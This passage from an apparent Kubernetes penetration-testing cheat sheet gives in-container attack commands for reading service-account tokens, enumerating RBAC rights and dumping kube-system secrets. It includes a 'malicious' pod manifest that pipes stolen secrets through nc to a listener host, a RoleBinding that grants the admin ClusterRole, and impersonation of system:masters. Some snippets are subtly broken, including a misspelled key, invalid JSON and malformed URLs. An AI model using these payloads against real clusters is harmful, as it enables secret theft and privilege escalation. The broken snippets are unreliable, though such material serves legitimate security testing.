<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a>KUBERNETES_SERVICE_HOST=192.168.154.228
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a>KUBERNETES_SERVICE_PORT=443
</code></pre></div>
<p>Additionally, <a href="https://kubernetes.io/docs/concepts/services-networking/service/#discovering-services">environment variables</a> are automatically created for each Kubernetes service running in the current namespace when the container was created. The environment variables are named using two patterns:</p>
<ul>
<li>A simplified <code>{SVCNAME}_SERVICE_HOST</code> and <code>{SVCNAME}_SERVICE_PORT</code> contain the IP address and default port number for the service.</li>
<li>A <a href="https://docs.docker.com/network/links/#environment-variables">Docker links</a> collection of variables named <code>{SVCNAME}_PORT_{NUM}_{PROTOCOL}_{PROTO|PORT|ADDR}</code> for each port the service exposes.</li>
</ul>
<p>For example, all of the following environment variables would be available if a <code>redis-master</code> service were running with port 6379 exposed:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a>REDIS_MASTER_SERVICE_HOST=10.0.0.11
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a>REDIS_MASTER_SERVICE_PORT=6379
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a>REDIS_MASTER_PORT=tcp://10.0.0.11:6379
<a id="__codelineno-2-4" name="__codelineno-2-4" href="#__codelineno-2-4"></a>REDIS_MASTER_PORT_6379_TCP=tcp://10.0.0.11:6379
<a id="__codelineno-2-5" name="__codelineno-2-5" href="#__codelineno-2-5"></a>REDIS_MASTER_PORT_6379_TCP_PROTO=tcp
<a id="__codelineno-2-6" name="__codelineno-2-6" href="#__codelineno-2-6"></a>REDIS_MASTER_PORT_6379_TCP_PORT=6379
<a id="__codelineno-2-7" name="__codelineno-2-7" href="#__codelineno-2-7"></a>REDIS_MASTER_PORT_6379_TCP_ADDR=10.0.0.11
</code></pre></div>
<h3 id="simulating-kubectl-api-requests">Simulating <code>kubectl</code> API Requests</h3>
<p>Most containers within a Kubernetes cluster won't have the <code>kubectl</code> utility installed. If running the <a href="https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux">one-line <code>kubectl</code> installer</a> within the container isn't an option, you may need to craft Kubernetes HTTP API requests manually. This can be done by using <code>kubectl</code> <em>locally</em> to determine the correct API request to send from the container.</p>
<ol>
<li>Run the desired command at the maximum verbosity level using <code>kubectl -v9 ...</code></li>
<li>The output will include HTTP API endpoint URL, the request body, and an example curl command.</li>
<li>Replace the endpoint URL's hostname and port with the <code>KUBERNETES_SERVICE_HOST</code> and <code>KUBERNETES_SERVICE_PORT</code> values from the container's environment variables.</li>
<li>Replace the masked "Authorization: Bearer" token value with the contents of <code>/var/run/secrets/kubernetes.io/serviceaccount/token</code> from the container.</li>
<li>If the request had a body, ensure the "Content-Type: application/json" header is included and send the request body using the customary method (for curl, use the <code>--data</code> flag).</li>
</ol>
<p>For example, this output was used to create the <a href="#service-account-permissions">Service Account Permissions</a> request:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="c"># NOTE: only the Authorization and Content-Type headers are required. The rest can be omitted.</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="p">$</span> <span class="n">kubectl</span> <span class="n">-v9</span> <span class="n">auth</span> <span class="n">can-i</span> <span class="p">-</span><span class="n">-list</span>
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="n">I1028</span> <span class="n">18</span><span class="p">:</span><span class="n">58</span><span class="p">:</span><span class="n">38</span><span class="p">.</span><span class="n">192352</span> <span class="n">76118</span> <span class="n">loader</span><span class="p">.</span><span class="n">go</span><span class="p">:</span><span class="n">359</span><span class="p">]</span> <span class="n">Config</span> <span class="n">loaded</span> <span class="n">from</span> <span class="n">file</span> <span class="p">/</span><span class="n">home</span><span class="p">/</span><span class="n">example</span><span class="p">/.</span><span class="n">kube</span><span class="p">/</span><span class="n">config</span>
<a id="__codelineno-3-4" name="__codelineno-3-4" href="#__codelineno-3-4"></a><span class="n">I1028</span> <span class="n">18</span><span class="p">:</span><span class="n">58</span><span class="p">:</span><span class="n">38</span><span class="p">.</span><span class="n">193847</span> <span class="n">76118</span> <span class="n">request</span><span class="p">.</span><span class="n">go</span><span class="p">:</span><span class="n">942</span><span class="p">]</span> <span class="n">Request</span> <span class="n">Body</span><span class="p">:</span> <span class="p">{</span><span class="s2">&quot;kind&quot;</span><span class="p">:</span><span class="s2">&quot;SelfSubjectRulesReview&quot;</span><span class="p">,</span><span class="s2">&quot;apiVersion&quot;</span><span class="p">:</span><span class="s2">&quot;authorization.k8s.io/v1&quot;</span><span class="p">,</span><span class="s2">&quot;metadata&quot;</span><span class="p">:{</span><span class="s2">&quot;creationTimestamp&quot;</span><span class="p">:</span><span class="n">null</span><span class="p">},</span><span class="s2">&quot;spec&quot;</span><span class="p">:{</span><span class="s2">&quot;namespace&quot;</span><span class="p">:</span><span class="s2">&quot;default&quot;</span><span class="p">},</span><span class="s2">&quot;status&quot;</span><span class="p">:{</span><span class="s2">&quot;resourceRules&quot;</span><span class="p">:</span><span class="n">null</span><span class="p">,</span><span class="s2">&quot;nonResourceRules&quot;</span><span class="p">:</span><span class="n">null</span><span class="p">,</span><span class="s2">&quot;incomplete&quot;</span><span class="p">:</span><span class="n">false</span><span class="p">}}</span>
<a id="__codelineno-3-5" name="__codelineno-3-5" href="#__codelineno-3-5"></a><span class="n">I1028</span> <span class="n">18</span><span class="p">:</span><span class="n">58</span><span class="p">:</span><span class="n">38</span><span class="p">.</span><span class="n">193912</span> <span class="n">76118</span> <span class="n">round_trippers</span><span class="p">.</span><span class="n">go</span><span class="p">:</span><span class="n">419</span><span class="p">]</span> <span class="nb">curl </span><span class="n">-k</span> <span class="n">-v</span> <span class="n">-XPOST</span> <span class="n">-H</span> <span class="s2">&quot;Accept: application/json, */*&quot;</span> <span class="n">-H</span> <span class="s2">&quot;Content-Type: application/json&quot;</span> <span class="n">-H</span> <span class="s2">&quot;User-Agent: kubectl/v1.14.10 (linux/amd64) kubernetes/f5757a1&quot;</span> <span class="s1">&#39;https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews&#39;</span>
<a id="__codelineno-3-6" name="__codelineno-3-6" href="#__codelineno-3-6"></a><span class="n">I1028</span> <span class="n">18</span><span class="p">:</span><span class="n">58</span><span class="p">:</span><span class="n">38</span><span class="p">.</span><span class="n">295722</span> <span class="n">76118</span> <span class="n">round_trippers</span><span class="p">.</span><span class="n">go</span><span class="p">:</span><span class="n">438</span><span class="p">]</span> <span class="n">POST</span> <span class="n">https</span><span class="p">://</span><span class="n">1</span><span class="p">.</span><span class="n">2</span><span class="p">.</span><span class="n">3</span><span class="p">.</span><span class="n">4</span><span class="p">:</span><span class="n">5678</span><span class="p">/</span><span class="n">apis</span><span class="p">/</span><span class="n">authorization</span><span class="p">.</span><span class="n">k8s</span><span class="p">.</span><span class="n">io</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">selfsubjectrulesreviews</span> <span class="n">201</span> <span class="n">Created</span> <span class="k">in</span> <span class="n">101</span> <span class="n">milliseconds</span>
<a id="__codelineno-3-7" name="__codelineno-3-7" href="#__codelineno-3-7"></a><span class="n">I1028</span> <span class="n">18</span><span class="p">:</span><span class="n">58</span><span class="p">:</span><span class="n">38</span><span class="p">.</span><span class="n">295760</span> <span class="n">76118</span> <span class="n">round_trippers</span><span class="p">.</span><span class="n">go</span><span class="p">:</span><span class="n">444</span><span class="p">]</span> <span class="n">Response</span> <span class="n">Headers</span><span class="p">:</span>
<a id="__codelineno-3-8" name="__codelineno-3-8" href="#__codelineno-3-8"></a><span class="p">...</span>
</code></pre></div>
<h2 id="information-gathering">Information Gathering</h2>
<h3 id="service-account-permissions">Service Account Permissions</h3>
<p>The default service account may have been granted additional permissions that make cluster compromise or lateral movement easier.<br />
The following can be used to determine the service account's permissions:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="c"># Namespace-level permissions using kubectl</span>
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="n">kubectl</span> <span class="n">auth</span> <span class="n">can-i</span> <span class="p">-</span><span class="n">-list</span>
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a>
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a><span class="c"># Cluster-level permissions using kubectl</span>
<a id="__codelineno-4-5" name="__codelineno-4-5" href="#__codelineno-4-5"></a><span class="n">kubectl</span> <span class="n">auth</span> <span class="n">can-i</span> <span class="p">-</span><span class="n">-list</span> <span class="p">-</span><span class="n">-namespace</span><span class="p">=</span><span class="n">kube-system</span>
<a id="__codelineno-4-6" name="__codelineno-4-6" href="#__codelineno-4-6"></a>
<a id="__codelineno-4-7" name="__codelineno-4-7" href="#__codelineno-4-7"></a><span class="c"># Permissions list using curl</span>
<a id="__codelineno-4-8" name="__codelineno-4-8" href="#__codelineno-4-8"></a><span class="n">NAMESPACE</span><span class="p">=$(</span><span class="nb">cat </span><span class="s2">&quot;/var/run/secrets/kubernetes.io/serviceaccount/namespace&quot;</span><span class="p">)</span>
<a id="__codelineno-4-9" name="__codelineno-4-9" href="#__codelineno-4-9"></a><span class="c"># For cluster-level, use NAMESPACE=&quot;kube-system&quot; instead</span>
<a id="__codelineno-4-10" name="__codelineno-4-10" href="#__codelineno-4-10"></a>
<a id="__codelineno-4-11" name="__codelineno-4-11" href="#__codelineno-4-11"></a><span class="n">MASTER_URL</span><span class="p">=</span><span class="s2">&quot;https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}&quot;</span>
<a id="__codelineno-4-12" name="__codelineno-4-12" href="#__codelineno-4-12"></a><span class="n">TOKEN</span><span class="p">=$(</span><span class="nb">cat </span><span class="s2">&quot;/var/run/secrets/kubernetes.io/serviceaccount/token&quot;</span><span class="p">)</span>
<a id="__codelineno-4-13" name="__codelineno-4-13" href="#__codelineno-4-13"></a><span class="nb">curl </span><span class="s2">&quot;${MASTER_URL}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews&quot;</span> <span class="p">\</span>
<a id="__codelineno-4-14" name="__codelineno-4-14" href="#__codelineno-4-14"></a> <span class="p">-</span><span class="n">-cacert</span> <span class="s2">&quot;/var/run/secrets/kubernetes.io/serviceaccount/ca.crt&quot;</span> <span class="p">\</span>
<a id="__codelineno-4-15" name="__codelineno-4-15" href="#__codelineno-4-15"></a> <span class="p">-</span><span class="n">-header</span> <span class="s2">&quot;Authorization: Bearer ${TOKEN}&quot;</span> <span class="p">\</span>
<a id="__codelineno-4-16" name="__codelineno-4-16" href="#__codelineno-4-16"></a> <span class="p">-</span><span class="n">-header</span> <span class="s2">&quot;Content-Type: application/json&quot;</span> <span class="p">\</span>
<a id="__codelineno-4-17" name="__codelineno-4-17" href="#__codelineno-4-17"></a> <span class="p">-</span><span class="n">-data</span> <span class="s1">&#39;{&quot;kind&quot;:&quot;SelfSubjectRulesReview&quot;,&quot;apiVersion&quot;:&quot;authorization.k8s.io/v1&quot;,&quot;spec&quot;:{&quot;namespace&quot;:&quot;&#39;</span><span class="p">${</span><span class="n">NAMESPACE</span><span class="p">}</span><span class="s1">&#39;&quot;}}&#39;</span>
</code></pre></div>
<h3 id="secrets-configmaps-and-volumes">Secrets, ConfigMaps, and Volumes</h3>
<p>Kubernetes provides Secrets and ConfigMaps as a way to load configuration into containers at runtime. While they may not lead directly to whole cluster compromise, the information they contain can lead to individual service compromise or enable lateral movement within a cluster.</p>
<p>From a container perspective, Kubernetes Secrets and ConfigMaps are identical. Both can be loaded into environment variables or mounted as volumes. It's not possible to determine if an environment variable was loaded from a Secret/ConfigMap, so each environment variable will need to be manually inspected. When mounted as a volume, Secrets/ConfigMaps are always mounted as read-only tmpfs filesystems. You can quickly find these with <code>grep -F "tmpfs ro" /etc/mtab</code>.</p>
<p>True Kubernetes Volumes are typically used as shared storage or for persistent storage across restarts. These are typically mounted as ext4 filesystems and can be identified with <code>grep -wF "ext4" /etc/mtab</code>.</p>
<h3 id="privileged-containers">Privileged Containers</h3>
<p>Kubernetes supports a wide range of <a href="https://kubernetes.io/docs/tasks/configure-pod-container/security-context/">security contexts</a> for container and pod execution. The most important of these is the "privileged" <a href="https://kubernetes.io/docs/concepts/policy/pod-security-policy/">security policy</a> which makes the host node's devices available under the container's <code>/dev</code> directory. This means having access to the host's Docker socket file (allowing arbitrary container actions) in addition to the host's root disks (which can be used to escape the container entirely).</p>
<p>While there is no official way to check for privileged mode from <em>within</em> a container, checking if <code>/dev/kmsg</code> exists will usually suffice.</p>
<h2 id="rbac-configuration">RBAC Configuration</h2>
<h3 id="listing-secrets">Listing Secrets</h3>
<p>An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="nb">curl </span><span class="n">-v</span> <span class="n">-H</span> <span class="s2">&quot;Authorization: Bearer &lt;jwt_token&gt;&quot;</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">master_ip</span><span class="p">&gt;:&lt;</span><span class="n">port</span><span class="p">&gt;/</span><span class="n">api</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">namespaces</span><span class="p">/</span><span class="n">kube-system</span><span class="p">/</span><span class="n">secrets</span><span class="p">/</span>
</code></pre></div>
<h3 id="access-any-resource-or-verb">Access Any Resource or Verb</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="n">resources</span><span class="p">:</span>
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="p">-</span> <span class="s1">&#39;*&#39;</span>
<a id="__codelineno-6-3" name="__codelineno-6-3" href="#__codelineno-6-3"></a><span class="n">verbs</span><span class="p">:</span>
<a id="__codelineno-6-4" name="__codelineno-6-4" href="#__codelineno-6-4"></a><span class="p">-</span> <span class="s1">&#39;*&#39;</span>
</code></pre></div>
<h3 id="pod-creation">Pod Creation</h3>
<p>Check your right with <code>kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml</code>.
Then create a malicious pod.yaml file.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">v1</span>
<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">Pod</span>
<a id="__codelineno-7-3" name="__codelineno-7-3" href="#__codelineno-7-3"></a><span class="nt">metadata</span><span class="p">:</span>
<a id="__codelineno-7-4" name="__codelineno-7-4" href="#__codelineno-7-4"></a><span class="w"> </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">alpine</span>
<a id="__codelineno-7-5" name="__codelineno-7-5" href="#__codelineno-7-5"></a><span class="w"> </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">kube-system</span>
<a id="__codelineno-7-6" name="__codelineno-7-6" href="#__codelineno-7-6"></a><span class="nt">spec</span><span class="p">:</span>
<a id="__codelineno-7-7" name="__codelineno-7-7" href="#__codelineno-7-7"></a><span class="w"> </span><span class="nt">containers</span><span class="p">:</span>
<a id="__codelineno-7-8" name="__codelineno-7-8" href="#__codelineno-7-8"></a><span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">alpine</span>
<a id="__codelineno-7-9" name="__codelineno-7-9" href="#__codelineno-7-9"></a><span class="w"> </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">alpine</span>
<a id="__codelineno-7-10" name="__codelineno-7-10" href="#__codelineno-7-10"></a><span class="w"> </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="p p-Indicator">[</span><span class="s">&quot;/bin/sh&quot;</span><span class="p p-Indicator">]</span>
<a id="__codelineno-7-11" name="__codelineno-7-11" href="#__codelineno-7-11"></a><span class="w"> </span><span class="nt">args</span><span class="p">:</span><span class="w"> </span><span class="p p-Indicator">[</span><span class="s">&quot;-c&quot;</span><span class="p p-Indicator">,</span><span class="w"> </span><span class="s">&#39;apk</span><span class="nv"> </span><span class="s">update</span><span class="nv"> </span><span class="s">&amp;&amp;</span><span class="nv"> </span><span class="s">apk</span><span class="nv"> </span><span class="s">add</span><span class="nv"> </span><span class="s">curl</span><span class="nv"> </span><span class="s">--no-cache;</span><span class="nv"> </span><span class="s">cat</span><span class="nv"> </span><span class="s">/run/secrets/kubernetes.io/serviceaccount/token</span><span class="nv"> </span><span class="s">|</span><span class="nv"> </span><span class="s">{</span><span class="nv"> </span><span class="s">read</span><span class="nv"> </span><span class="s">TOKEN;</span><span class="nv"> </span><span class="s">curl</span><span class="nv"> </span><span class="s">-k</span><span class="nv"> </span><span class="s">-v</span><span class="nv"> </span><span class="s">-H</span><span class="nv"> </span><span class="s">&quot;Authorization:</span><span class="nv"> </span><span class="s">Bearer</span><span class="nv"> </span><span class="s">$TOKEN&quot;</span><span class="nv"> </span><span class="s">-H</span><span class="nv"> </span><span class="s">&quot;Content-Type:</span><span class="nv"> </span><span class="s">application/json&quot;</span><span class="nv"> </span><span class="s">https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets;</span><span class="nv"> </span><span class="s">}</span><span class="nv"> </span><span class="s">|</span><span class="nv"> </span><span class="s">nc</span><span class="nv"> </span><span class="s">-nv</span><span class="nv"> </span><span class="s">192.168.154.228</span><span class="nv"> </span><span class="s">6666;</span><span class="nv"> </span><span class="s">sleep</span><span class="nv"> </span><span class="s">100000&#39;</span><span class="p p-Indicator">]</span>
<a id="__codelineno-7-12" name="__codelineno-7-12" href="#__codelineno-7-12"></a><span class="w"> </span><span class="nt">serviceAccountName</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">bootstrap-signer</span>
<a id="__codelineno-7-13" name="__codelineno-7-13" href="#__codelineno-7-13"></a><span class="w"> </span><span class="nt">automountServiceAccountToken</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">true</span>
<a id="__codelineno-7-14" name="__codelineno-7-14" href="#__codelineno-7-14"></a><span class="w"> </span><span class="nt">hostNetwork</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">true</span>
</code></pre></div>
<p>Then <code>kubectl apply -f malicious-pod.yaml</code></p>
<h3 id="privilege-to-use-podsexec">Privilege to Use Pods/Exec</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="n">kubectl</span> <span class="n">exec</span> <span class="n">-it</span> <span class="p">&lt;</span><span class="n">POD</span> <span class="n">NAME</span><span class="p">&gt;</span> <span class="n">-n</span> <span class="p">&lt;</span><span class="n">PODS</span> <span class="n">NAMESPACE</span><span class="p">&gt;</span> <span class="err">–</span><span class="p">-</span> <span class="n">sh</span>
</code></pre></div>
<h3 id="privilege-to-getpatch-rolebindings">Privilege to Get/Patch Rolebindings</h3>
<p>The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account.
Create a malicious RoleBinging.json file.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="p">{</span>
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a> <span class="s2">&quot;apiVersion&quot;</span><span class="p">:</span> <span class="s2">&quot;rbac.authorization.k8s.io/v1&quot;</span><span class="p">,</span>
<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a> <span class="s2">&quot;kind&quot;</span><span class="p">:</span> <span class="s2">&quot;RoleBinding&quot;</span><span class="p">,</span>
<a id="__codelineno-9-4" name="__codelineno-9-4" href="#__codelineno-9-4"></a> <span class="s2">&quot;metadata&quot;</span><span class="p">:</span> <span class="p">{</span>
<a id="__codelineno-9-5" name="__codelineno-9-5" href="#__codelineno-9-5"></a> <span class="s2">&quot;name&quot;</span><span class="p">:</span> <span class="s2">&quot;malicious-rolebinding&quot;</span><span class="p">,</span>
<a id="__codelineno-9-6" name="__codelineno-9-6" href="#__codelineno-9-6"></a> <span class="s2">&quot;namespcaes&quot;</span><span class="p">:</span> <span class="s2">&quot;default&quot;</span>
<a id="__codelineno-9-7" name="__codelineno-9-7" href="#__codelineno-9-7"></a> <span class="p">},</span>
<a id="__codelineno-9-8" name="__codelineno-9-8" href="#__codelineno-9-8"></a> <span class="s2">&quot;roleRef&quot;</span><span class="p">:</span> <span class="p">{</span>
<a id="__codelineno-9-9" name="__codelineno-9-9" href="#__codelineno-9-9"></a> <span class="s2">&quot;apiGroup&quot;</span><span class="p">:</span> <span class="s2">&quot;*&quot;</span><span class="p">,</span>
<a id="__codelineno-9-10" name="__codelineno-9-10" href="#__codelineno-9-10"></a> <span class="s2">&quot;kind&quot;</span><span class="p">:</span> <span class="s2">&quot;ClusterRole&quot;</span><span class="p">,</span>
<a id="__codelineno-9-11" name="__codelineno-9-11" href="#__codelineno-9-11"></a> <span class="s2">&quot;name&quot;</span><span class="p">:</span> <span class="s2">&quot;admin&quot;</span>
<a id="__codelineno-9-12" name="__codelineno-9-12" href="#__codelineno-9-12"></a> <span class="p">},</span>
<a id="__codelineno-9-13" name="__codelineno-9-13" href="#__codelineno-9-13"></a> <span class="s2">&quot;subjects&quot;</span><span class="p">:</span> <span class="p">[</span>
<a id="__codelineno-9-14" name="__codelineno-9-14" href="#__codelineno-9-14"></a> <span class="p">{</span>
<a id="__codelineno-9-15" name="__codelineno-9-15" href="#__codelineno-9-15"></a> <span class="s2">&quot;kind&quot;</span><span class="p">:</span> <span class="s2">&quot;ServiceAccount&quot;</span><span class="p">,</span>
<a id="__codelineno-9-16" name="__codelineno-9-16" href="#__codelineno-9-16"></a> <span class="s2">&quot;name&quot;</span><span class="p">:</span> <span class="s2">&quot;sa-comp&quot;</span>
<a id="__codelineno-9-17" name="__codelineno-9-17" href="#__codelineno-9-17"></a> <span class="s2">&quot;namespace&quot;</span><span class="p">:</span> <span class="s2">&quot;default&quot;</span>
<a id="__codelineno-9-18" name="__codelineno-9-18" href="#__codelineno-9-18"></a> <span class="p">}</span>
<a id="__codelineno-9-19" name="__codelineno-9-19" href="#__codelineno-9-19"></a> <span class="p">]</span>
<a id="__codelineno-9-20" name="__codelineno-9-20" href="#__codelineno-9-20"></a><span class="p">}</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="nb">curl </span><span class="n">-k</span> <span class="n">-v</span> <span class="n">-X</span> <span class="n">POST</span> <span class="n">-H</span> <span class="s2">&quot;Authorization: Bearer &lt;JWT TOKEN&gt;&quot;</span> <span class="n">-H</span> <span class="s2">&quot;Content-Type: application/json&quot;</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">master_ip</span><span class="p">&gt;:&lt;</span><span class="n">port</span><span class="p">&gt;/</span><span class="n">apis</span><span class="p">/</span><span class="n">rbac</span><span class="p">.</span><span class="n">authorization</span><span class="p">.</span><span class="n">k8s</span><span class="p">.</span><span class="n">io</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">namespaces</span><span class="p">/</span><span class="k">default</span><span class="p">/</span><span class="n">rolebindings</span> <span class="n">-d</span> <span class="nv">@malicious</span><span class="n">-RoleBinging</span><span class="p">.</span><span class="n">json</span>
<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a><span class="nb">curl </span><span class="n">-k</span> <span class="n">-v</span> <span class="n">-X</span> <span class="n">POST</span> <span class="n">-H</span> <span class="s2">&quot;Authorization: Bearer &lt;COMPROMISED JWT TOKEN&gt;&quot;</span> <span class="n">-H</span> <span class="s2">&quot;Content-Type: application/json&quot;</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">master_ip</span><span class="p">&gt;:&lt;</span><span class="n">port</span><span class="p">&gt;/</span><span class="n">api</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">namespaces</span><span class="p">/</span><span class="n">kube-system</span><span class="p">/</span><span class="n">secret</span>
</code></pre></div>
<h3 id="impersonating-a-privileged-account">Impersonating a Privileged Account</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="nb">curl </span><span class="n">-k</span> <span class="n">-v</span> <span class="n">-XGET</span> <span class="n">-H</span> <span class="s2">&quot;Authorization: Bearer &lt;JWT TOKEN (of the impersonator)&gt;&quot;</span> <span class="n">-H</span> <span class="s2">&quot;Impersonate-Group: system:masters&quot;</span> <span class="n">-H</span> <span class="s2">&quot;Impersonate-User: null&quot;</span> <span class="n">-H</span> <span class="s2">&quot;Accept: application/json&quot;</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">master_ip</span><span class="p">&gt;:&lt;</span><span class="n">port</span><span class="p">&gt;/</span><span class="n">api</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">namespaces</span><span class="p">/</span><span class="n">kube-system</span><span class="p">/</span><span class="n">secrets</span><span class="p">/</span>
</code></pre></div>
<h2 id="privileged-service-account-token">Privileged Service Account Token</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="p">$</span> <span class="nb">cat </span><span class="p">/</span><span class="n">run</span><span class="p">/</span><span class="n">secrets</span><span class="p">/</span><span class="n">kubernetes</span><span class="p">.</span><span class="n">io</span><span class="p">/</span><span class="n">serviceaccount</span><span class="p">/</span><span class="n">token</span>
<a id="__codelineno-12-2" name="__codelineno-12-2" href="#__codelineno-12-2"></a><span class="p">$</span> <span class="nb">curl </span><span class="n">-k</span> <span class="n">-v</span> <span class="n">-H</span> <span class="s2">&quot;Authorization: Bearer &lt;jwt_token&gt;&quot;</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">master_ip</span><span class="p">&gt;:&lt;</span><span class="n">port</span><span class="p">&gt;/</span><span class="n">api</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">namespaces</span><span class="p">/</span><span class="k">default</span><span class="p">/</span><span class="n">secrets</span><span class="p">/</span>
</code></pre></div>
<h2 id="interesting-endpoints-to-reach">Interesting endpoints to reach</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="c"># List Pods</span>
<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="nb">curl </span><span class="n">-v</span> <span class="n">-H</span> <span class="s2">&quot;Authorization: Bearer &lt;jwt_token&gt;&quot;</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">master_ip</span><span class="p">&gt;:&lt;</span><span class="n">port</span><span class="p">&gt;/</span><span class="n">api</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">namespaces</span><span class="p">/</span><span class="k">default</span><span class="p">/</span><span class="n">pods</span><span class="p">/</span>
<a id="__codelineno-13-3" name="__codelineno-13-3" href="#__codelineno-13-3"></a>
<a id="__codelineno-13-4" name="__codelineno-13-4" href="#__codelineno-13-4"></a><span class="c"># List secrets</span>
<a id="__codelineno-13-5" name="__codelineno-13-5" href="#__codelineno-13-5"></a><span class="nb">curl </span><span class="n">-v</span> <span class="n">-H</span> <span class="s2">&quot;Authorization: Bearer &lt;jwt_token&gt;&quot;</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">master_ip</span><span class="p">&gt;:&lt;</span><span class="n">port</span><span class="p">&gt;/</span><span class="n">api</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">namespaces</span><span class="p">/</span><span class="k">default</span><span class="p">/</span><span class="n">secrets</span><span class="p">/</span>
<a id="__codelineno-13-6" name="__codelineno-13-6" href="#__codelineno-13-6"></a>
<a id="__codelineno-13-7" name="__codelineno-13-7" href="#__codelineno-13-7"></a><span class="c"># List deployments</span>
<a id="__codelineno-13-8" name="__codelineno-13-8" href="#__codelineno-13-8"></a><span class="nb">curl </span><span class="n">-v</span> <span class="n">-H</span> <span class="s2">&quot;Authorization: Bearer &lt;jwt_token&gt;&quot;</span> <span class="n">https</span><span class="p">://&lt;</span><span class="n">master_ip</span><span class="p">:&lt;</span><span class="n">port</span><span class="p">&gt;/</span><span class="n">apis</span><span class="p">/</span><span class="n">extensions</span><span class="p">/</span><span class="n">v1beta1</span><span class="p">/</span><span class="n">namespaces</span><span class="p">/</span><span class="k">default</span><span class="p">/</span><span class="n">deployments</span>
<a id="__codelineno-13-9" name="__codelineno-13-9" href="#__codelineno-13-9"></a>
<a id="__codelineno-13-10" name="__codelineno-13-10" href="#__codelineno-13-10"></a><span class="c"># List daemonsets</span>
